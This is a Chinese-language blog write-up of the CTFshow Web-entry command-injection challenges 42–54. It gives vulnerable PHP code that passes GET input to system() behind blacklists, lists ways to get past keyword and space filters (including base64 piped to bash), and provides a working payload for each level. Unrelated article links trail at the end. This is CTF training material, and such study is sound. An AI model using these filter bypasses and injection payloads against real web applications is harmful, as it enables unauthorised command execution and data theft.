关于CTFshow中Web入门42-54
0x00前记
终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的坑,很感谢各位师傅帮我填坑!!!
0x01命令执行
题目的考点主要都是命令执行+命令分隔,与ping的那种题目类似,不过这里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不进行回显的意思,那就分隔命令,将命令分开,使得后面的命令失去相应的作用。
分隔命令
; //分号应该是最好理解的
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行,不知道是不是自己姿势不对,没成功,下面也是一样
&& //两条命令都会执行
空格绕过
<
<> //需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A
黑名单
//一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
通配符
* //匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
? //匹配单个任意字符
空字符
$@ //ca$@t flag
$1-$9 //ca$1t flag
${数字} //ca${1}t flag
编码绕过
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash //解码为cat flag.php并执行
echo "cat flag.php"|base64 //最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令
变量替换
a=t;b=g;ca$a fla$b.php
引号
ca''t fl''ag.php
反斜杆
ca\t f\la\g.php
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php
0x02题目解析
以下题目均来自:CTFshow
感谢大师傅给我们出了这些有趣有意思的题目,开心
Web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
//这题没有任何的过滤,只有一个不回显的命令,命令分隔一下即可
Payload:?c=cat flag.php;
Web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这题开始增加了黑名单了,过滤了分号-->可以用||绕过;cat则可以换一种查看文件的命令,或者使用引号等方式绕过
Payload:?c=tac flag.php||
Web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//对此开始过滤flag关键词了,这里可以用单引号、通配符等方法绕过
Payload:?c=tac fla*||
Web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里开始过滤空格了,利用上面讲到的空格绕过即可
Payload:?c=tac%09fla?????||
Web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里过滤了数字推测可能是限制使用编码绕过,过滤了$可以限制比较多,以及通配符*,但是还有?
Payload:?c=tac%09fla??php||
Web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//新添加了一些查看文件的命令进黑名单,但是tac还是可以用的
Payload:?c=tac%09fla??php||
Web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//继续新增黑名单的内容,但是tac还是没过滤,开心
Payload:?c=tac%09fla??php||
Web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Payload:?c=tac%09fla??php||
Web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
//这里过滤了%和09,不能用原来的payload,不过换种空格绕过方式即可,这里有个坑就是<>和?一起使用时没有回显,所以这里用了单引号绕过
Payload:?c=tac<>fla%27%27g.php||
后面几题其实都是差不多的,这里不多赘述了。
Web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//因为这里加了匹配的内容,不能使用空字符绕过了,好不容易找到了grep命令,好用!!!因为flag被过滤了,所以对于关键字这里只用了'fla'
Payload:?c=grep${IFS}'fla'${IFS}fla??php
关于CTFshow中Web入门42-54的更多相关文章
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- eclipse中web项目部署以后jsp的java文件找不到问题(Tomcat配置serverlocations)
我的开发环境:eclipse kepler (4.3)+tomcat7.0.42. 在我想看eclipse中web项目jsp文件被tomcat转换成java以后的java源文件的位置,发现正常情况下的 ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- Java Web入门经典扫描版
全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...
- [翻译]Nativescript 中 Web 视图与 Android/IOS 的双向通信
English document From http://shripalsoni.com/blog/nativescript-webview-native-bi-directional-communi ...
- Golang Web入门(4):如何设计API
摘要 在之前的几篇文章中,我们从如何实现最简单的HTTP服务器,到如何对路由进行改进,到如何增加中间件.总的来讲,我们已经把Web服务器相关的内容大概梳理了一遍了.在这一篇文章中,我们将从最简单的一个 ...
随机推荐
- 【荐】JavaScript图片放大技术(放大镜)示例代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- git学习(二) git的文件状态
git的文件状态 用于查看git的状态 git status 用于git文件的删除操作 git rm 如果只是 git rm --cache 仅删除暂存区里的文件: 如果不加--cache 会删除工作 ...
- open_spiel 随笔
------------恢复内容开始------------ ------------恢复内容开始------------ 遇到的一些疑惑且已经解决的 1. SPIEL_CHECK_GT()诸如此类的 ...
- 常用物联网应用层协议(1)——先说HTTP协议
概念 简介 HTTP是一个属于应用层的面向对象的协议,目前使用最为广泛的是HTTP1.1协议.当然,许多网站已经开始支持HTTP2.0,HTTP2复杂度高于HTTP1.1,我们先从HTTP1.1说起. ...
- robotframework执行UI自动化时不能运行谷歌浏览器的问题
robotframework执行UI自动化时报错,查看日志显示Parent suite setup failed: Variable '${browser}' not found. Did you m ...
- Kubernetes 搭建 ES 集群(存储使用 cephfs)
一.集群规划 使用 cephfs 实现分布式存储和数据持久化 ES 集群的 master 节点至少需要三个,防止脑裂. 由于 master 在配置过程中需要保证主机名固定和唯一,所以搭建 master ...
- 5G应用的实时决策
背景概述 尽管近几年很多供应商在不断重申着他们对VoltDB持续输出的专业认可,VoltDB也随着技术发展在不断增加一些流行技术词汇,但是真正让大家了解某个技术产品持续演进的特性,单单依靠增加几个技术 ...
- Windows Server 2012 R2 辅助域控制器搭建
Windows Server 2012 R2 辅助域控制器搭建 以下操作都是基于主域已搭建成功的基础上,全程操作过程都是在辅域上操作完成. 地址 主域:10.228.81.207 辅域:10.228. ...
- 超实用的14个 Spring MVC “隐藏”技巧,用了都说好!
通常,在Spring MVC中,我们编写一个控制器类来处理来自客户端的请求.然后,控制器调用业务类来处理与业务相关的任务,然后将客户端重定向到逻辑视图名称,该名称由Spring的调度程序Servlet ...
- 834. Sum of Distances in Tree —— weekly contest 84
Sum of Distances in Tree An undirected, connected tree with N nodes labelled 0...N-1 and N-1 edges a ...